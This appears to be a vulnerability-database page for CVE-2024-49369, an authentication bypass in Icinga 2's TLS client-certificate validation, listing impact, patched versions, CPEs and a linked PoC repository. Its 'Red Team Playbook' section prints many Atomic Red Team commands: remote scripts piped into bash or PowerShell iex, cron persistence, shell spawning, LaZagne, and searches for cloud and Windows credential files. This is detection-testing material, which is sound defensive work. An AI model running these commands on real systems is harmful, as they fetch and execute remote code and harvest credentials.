CVE-2024-49369
Overview
This vulnerability is an authentication bypass caused by flawed TLS certificate validation within the Icinga 2 cluster communication and API client authentication mechanisms. The root cause lies in improper verification of TLS client certificates, specifically the client_cn attribute, which allows malicious actors to impersonate trusted cluster nodes or API users. The affected component is the TLS certificate validation logic implemented in Icinga 2 versions from 2.4.0 onward, impacting both cluster node authentication and ApiUser objects relying on TLS client certificates.
Vulnerability Description
Icinga is a monitoring system which checks the availability of network resources, notifies users of outages, and generates performance data for reporting. The TLS certificate validation in all Icinga 2 versions starting from 2.4.0 was flawed, allowing an attacker to impersonate both trusted cluster nodes as well as any API users that use TLS client certificates for authentication (ApiUser objects with the client_cn attribute set). This vulnerability has been fixed in v2.14.3, v2.13.10, v2.12.11, and v2.11.12.
Impact
An unauthenticated remote attacker can exploit this vulnerability to impersonate trusted cluster nodes or any API users authenticated via TLS client certificates, enabling unauthorized access to cluster communications and API functions. This can facilitate lateral movement within the monitoring infrastructure, unauthorized data access, and potential manipulation of monitoring configurations or data. The exploit requires network access to the Icinga 2 cluster or API endpoints and no user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N).
Solution
Apply the vendor-provided patches by upgrading Icinga 2 to versions 2.14.3, 2.13.10, 2.12.11, or 2.11.12, as detailed in the Icinga 2 security advisory GHSA-j7wq-r9mg-9wpv (https://github.com/Icinga/icinga2/security/advisories/GHSA-j7wq-r9mg-9wpv). These updates include corrected TLS client certificate validation logic. Review the referenced commits 0419a2c36de408e9a703aec0962061ec9a285d3c and 2febc5e18ae0c93d989e64ebc2a9fd90e7205ad8 for technical changes. No alternative workarounds are provided.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Icinga's TLS certificate validation mechanism presents a significant security flaw that could allow attackers to impersonate trusted cluster nodes and API users. This flaw arises from improper validation of TLS client certificates, specifically affecting versions of Icinga 2 from 2.4.0 onward. In a properly functioning system, TLS certificates are used to establish a secure connection and verify the identity of the communicating parties. However, the flawed implementation in Icinga allows an attacker to bypass these checks, leading to potential unauthorized access to sensitive monitoring data and control over the Icinga environment.
Attack vectors for exploiting this vulnerability are diverse and can be executed with relative ease by a malicious actor with network access. An attacker could leverage this flaw to impersonate a trusted cluster node, thereby gaining unauthorized access to the monitoring system. This could involve intercepting communication between nodes or API users, allowing the attacker to manipulate monitoring data or disrupt services. Furthermore, if an attacker successfully impersonates an API user, they could execute commands or retrieve sensitive information, leading to further exploitation of the network resources being monitored.
The real-world impact of this vulnerability is profound, particularly for organizations relying on Icinga for critical infrastructure monitoring. The potential for unauthorized access to monitoring data could lead to service outages, data breaches, and significant operational disruptions. Businesses that depend on Icinga for performance reporting and resource availability monitoring may find themselves vulnerable to attacks that compromise their ability to respond to outages or performance issues effectively. The financial implications of such incidents can be severe, ranging from direct losses due to downtime to reputational damage that could affect customer trust and future business opportunities.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched versions of Icinga, specifically v2.14.3, v2.13.10, v2.12.11, or v2.11.12. Regularly updating software is a fundamental aspect of maintaining cybersecurity hygiene. Additionally, implementing robust monitoring and alerting mechanisms can help identify unusual activities that may indicate exploitation attempts. Organizations should also consider employing network segmentation to limit access to the Icinga environment, thereby reducing the attack surface. Furthermore, conducting regular security assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited by malicious actors.
In conclusion, the vulnerability within Icinga's TLS certificate validation poses a critical risk to organizations utilizing this monitoring system. The ability for attackers to impersonate trusted nodes and API users can lead to severe operational and financial consequences. By understanding the technical details, potential attack vectors, and implementing effective detection and mitigation strategies, organizations can better protect themselves against the risks associated with this vulnerability. Prioritizing timely updates and employing comprehensive security practices will be essential in safeguarding the integrity and availability of monitoring systems in an increasingly complex threat landscape.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Icinga | Icinga | All |
cpe:2.3:a:icinga:icinga:*:*:*:*:*:*:*:*
|
|
|
Icinga | Icinga | All |
cpe:2.3:a:icinga:icinga:*:*:*:*:*:*:*:*
|
|
|
Icinga | Icinga | All |
cpe:2.3:a:icinga:icinga:*:*:*:*:*:*:*:*
|
|
|
Icinga | Icinga | All |
cpe:2.3:a:icinga:icinga:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Quantum-Sicarius/CVE-2024-49369
|
Quantum-Sicarius | 2 | 1 | 2024-11-29 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-475 | Signature Spoofing by Improper Validation |
30%
|
Low | High | |
| CAPEC-459 | Creating a Rogue Certification Authority Certificate |
30%
|
Medium | Very High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
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